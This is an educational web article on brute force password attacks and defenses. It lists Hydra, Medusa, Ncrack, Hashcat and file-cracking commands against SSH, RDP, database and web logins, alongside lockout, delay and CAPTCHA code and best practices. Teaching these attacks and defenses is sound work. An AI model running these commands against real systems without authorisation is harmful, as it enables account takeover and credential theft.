GO KALI FREE
IntermediateSecurity

Brute Force Attacks: How They Work and How to Defend

Learn about brute force attacks, their variations, tools used, and comprehensive defense strategies including rate limiting, lockouts, and password policies.

#Brute Force#Password Attacks#Authentication#Rate Limiting#Account Security

When Eight Characters Wasn't Enough

In 2013, attackers brute-forced GitHub accounts using a distributed network of compromised machines. The targets had passwords like "Summer2013" — eight characters that seemed strong but fell in hours against a coordinated attack. Modern brute force attacks leverage GPUs, distributed computing, and optimized algorithms to test billions of combinations per second, making passwords shorter than 12 characters dangerously inadequate.

A brute force attack is a trial-and-error method used to obtain information such as a user password or personal identification number (PIN). In its simplest form, the attacker systematically checks all possible combinations of characters until the correct one is found.

Prerequisites

Before studying brute force attacks, you should understand:

  • **Authentication Attacks** — Login mechanisms overview
  • **Password Security Guide** — Password complexity concepts
  • **Hashes Explained** — Hash functions and storage
  • **Networking Basics** — TCP/IP, HTTP protocol
  • Types of Brute Force Attacks

    Simple Brute Force

    Every possible character combination is tried:

    # Theoretical example — testing all 8-char lowercase passwords
    # 26^8 = 208,827,064,576 combinations
    # At 1 billion/sec: ~208 seconds
    

    Dictionary Attack

    Common words and variations are tried (more efficient):

    # Hashcat dictionary attack
    hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
    
    # CPU efficient — only tests words in the list
    # Covers most commonly used passwords
    

    Hybrid Attack

    Dictionary words with modifications:

    # Dictionary + digits
    hashcat -m 0 -a 6 hashes.txt wordlist.txt ?d?d?d
    
    # Dictionary + special chars
    hashcat -m 0 -a 6 hashes.txt wordlist.txt ?s?d?d
    
    # Common patterns
    # password123, admin2026!, summer2026
    

    Reverse Brute Force

    Try one common password against many usernames:

    # One password, multiple users
    hydra -L users.txt -p 'Password123!' target.com http-post-form   "/login:user=^USER^&pass=^PASS^:F=Invalid"
    

    Brute Force Tools

    Hydra (Network Services)

    # SSH brute force
    hydra -l root -P passwords.txt ssh://192.168.1.100
    
    # FTP brute force
    hydra -l admin -P passwords.txt ftp://192.168.1.100
    
    # HTTP form brute force
    hydra -l admin -P passwords.txt target.com http-post-form   "/login:username=^USER^&password=^PASS^:F=Invalid"
    
    # RDP brute force
    hydra -L users.txt -P passwords.txt rdp://192.168.1.100
    
    # MySQL brute force
    hydra -l root -P passwords.txt mysql://192.168.1.100
    
    # HTTPS with SSL
    hydra -l admin -P passwords.txt https-post-form   "https://target.com/login:user=^USER^&pass=^PASS^:F=Invalid"
    

    Medusa (Parallel Brute Forcing)

    # HTTP brute force
    medusa -h target.com -U users.txt -P passwords.txt -M http
    
    # SSH brute force
    medusa -h 192.168.1.100 -u root -P passwords.txt -M ssh
    
    # SMB brute force
    medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M smbnt
    

    Ncrack (High-Performance)

    # SSH brute force
    ncrack -U users.txt -P passwords.txt ssh://192.168.1.100
    
    # RDP brute force
    ncrack -U users.txt -P passwords.txt rdp://192.168.1.100
    
    # HTTP brute force
    ncrack -U users.txt -P passwords.txt http://target.com/login
    

    Offline Brute Force

    Against Hashes

    # Hashcat with different attack modes
    # Dictionary
    hashcat -m 1000 ntlm.txt rockyou.txt
    
    # Mask attack (8 chars, all printable)
    hashcat -m 1000 ntlm.txt -a 3 ?a?a?a?a?a?a?a?a --increment
    
    # Rule-based
    hashcat -m 1000 ntlm.txt rockyou.txt -r best64.rule
    

    Against Encrypted Files

    # ZIP files
    fcrackzip -u -D -p passwords.txt protected.zip
    
    # PDF files
    pdfcrack -f protected.pdf -w passwords.txt
    
    # RAR files
    rarcrack protected.rar --wordlist passwords.txt
    

    Defense Strategies

    Account Lockout

    from datetime import datetime, timedelta
    
    class AccountLockoutManager:
        def __init__(self, max_attempts=5, lockout_duration=900):
            self.max_attempts = max_attempts
            self.lockout_duration = lockout_duration
            self.attempts = {}
    
        def record_attempt(self, username):
            now = datetime.now()
            if username not in self.attempts:
                self.attempts[username] = []
    
            # Clean old attempts
            self.attempts[username] = [
                t for t in self.attempts[username]
                if now - t < timedelta(seconds=self.lockout_duration)
            ]
    
            self.attempts[username].append(now)
    
        def is_locked(self, username):
            if username not in self.attempts:
                return False
            return len(self.attempts[username]) >= self.max_attempts
    
        def remaining_attempts(self, username):
            if username not in self.attempts:
                return self.max_attempts
            return max(0, self.max_attempts - len(self.attempts[username]))
    

    Progressive Delays

    function getLoginDelay(attemptNumber) {
      // Progressive delay: 1s, 2s, 4s, 8s, 16s...
      const baseDelay = 1000;
      const maxDelay = 60000; // 1 minute max
    
      return Math.min(
        baseDelay * Math.pow(2, attemptNumber - 1),
        maxDelay
      );
    }
    
    app.post('/login', async (req, res) => {
      const attempts = await getAttempts(req.ip);
      const delay = getLoginDelay(attempts);
    
      await new Promise(resolve => setTimeout(resolve, delay));
    
      // Continue with login...
    });
    

    CAPTCHA Implementation

    <!-- Google reCAPTCHA v3 (invisible) -->
    <form action="/login" method="POST">
      <input type="email" name="email" required>
      <input type="password" name="password" required>
      <div class="g-recaptcha" data-sitekey="SITE_KEY"></div>
      <button type="submit">Sign In</button>
    </form>
    <script src="https://www.google.com/recaptcha/api.js"></script>
    

    Real-World Examples

    Alibaba Cloud (2020): A brute force attack targeted Alibaba Cloud's SSH services, with attackers using a botnet of compromised devices to distribute the attack across thousands of IPs.

    GitHub Brute Force (2013): Attackers brute forced GitHub accounts using a distributed network of compromised machines, eventually compromising several high-profile accounts.

    Common Mistakes

    No lockout policy: Without lockout, attackers can try unlimited combinations.

    Fast hash algorithms: Using MD5 or SHA-1 for password storage enables fast brute forcing.

    Short passwords: Even complex 8-character passwords can be brute forced with GPU clusters.

    Client-side only validation: Frontend checks are bypassed by attackers sending raw HTTP.

    Best Practices

  • **Implement account lockout** — 5-10 failed attempts before lockout
  • **Use progressive delays** — Increase delay between failed attempts
  • **Add CAPTCHA** — After 2-3 failed attempts
  • **Use strong password hashing** — bcrypt, Argon2, PBKDF2
  • **Enforce minimum password length** — 12+ characters
  • **Monitor login attempts** — Detect patterns in failed logins
  • **Use multi-factor authentication** — Prevents offline brute forcing
  • **Implement network-level rate limiting** — Per-IP limits
  • Related Tools

  • **Hydra** — Network login brute forcer
  • **Medusa** — Parallel network login auditor
  • **Ncrack** — High-performance network cracking
  • **Hashcat** — GPU-accelerated hash cracking
  • **John the Ripper** — CPU-based password cracking
  • Related Articles

  • Dictionary Attacks
  • Password Spraying
  • Credential Stuffing
  • Password Auditing
  • Summary

    Brute force attacks systematically try password combinations until finding the correct one. Defense requires layered protections: account lockout, progressive delays, strong password hashing, CAPTCHA, and most importantly, multi-factor authentication.

    Knowledge Check

  • What is the difference between brute force and dictionary attacks?
  • How does account lockout prevent brute force attacks?
  • Why is password hashing algorithm choice important for defense?
  • How do progressive delays affect brute force attackers?
  • What is a reverse brute force attack?
  • Frequently Asked Questions

    What is a brute force attack?

    A brute force attack systematically tries every possible combination of characters until the correct password is found. Modern GPU-accelerated tools like [Hashcat](/articles/hashcat-guide) can test billions of combinations per second, making short passwords vulnerable.

    What are the different types of brute force attacks?

    Simple brute force tests all character combinations. [Dictionary attacks](/articles/dictionary-attacks) use wordlists of common passwords. Hybrid attacks combine dictionaries with masks. Reverse brute force tries one password against many accounts. Each type trades speed for coverage differently.

    How long does it take to brute force a password?

    An 8-character lowercase password has 26^8 (208 billion) combinations — about 3.5 minutes at 1 billion/sec. Adding uppercase, digits, and symbols to a 12-character password makes it computationally infeasible. Password length is the primary defense against brute force.

    What tools perform brute force attacks?

    Hydra targets network services (SSH, FTP, HTTP forms). [Hashcat](/articles/hashcat-guide) and [John the Ripper](/articles/john-ripper-guide) crack offline hashes. Medusa and Ncrack provide parallel network brute forcing. Each tool handles different protocols and attack scenarios.

    How does account lockout prevent brute force?

    Account lockout temporarily disables an account after 5-10 failed attempts, making brute force impractical. However, it can be bypassed by [password spraying](/articles/password-spraying), which uses only 1-2 attempts per account across many accounts to stay below the threshold.

    What is a reverse brute force attack?

    Reverse brute force tries one common password (like 'Password123!') against many usernames. This is similar to password spraying but uses a single well-known password rather than seasonal or organizational variations. It is effective when a widespread weak password exists.

    How do progressive delays defend against brute force?

    Progressive delays increase wait time after each failed login — 1s, 2s, 4s, 8s, up to 60s maximum. This exponentially slows brute force attempts while having minimal impact on legitimate users who rarely fail more than once. Combined with lockout, it creates effective defense.

    Why is password hashing algorithm choice important for defense?

    Fast algorithms like MD5 and SHA-1 allow billions of guesses per second on GPUs. Slow algorithms like [bcrypt](/articles/hashes-explained), Argon2, and PBKDF2 intentionally limit hashing speed, reducing brute force attempts to thousands per second and making attacks impractical.

    What is offline vs online brute force?

    Online brute force attacks target live login pages over the network, limited by network latency and lockout policies. Offline brute force attacks work against stolen password hashes locally, with no rate limiting — making offline attacks far faster and more dangerous.

    How does multi-factor authentication stop brute force?

    MFA prevents brute force even if the password is cracked, because the attacker still needs the second factor (authenticator app, hardware key, or biometric). This makes MFA the most effective defense against both online and offline brute force attacks.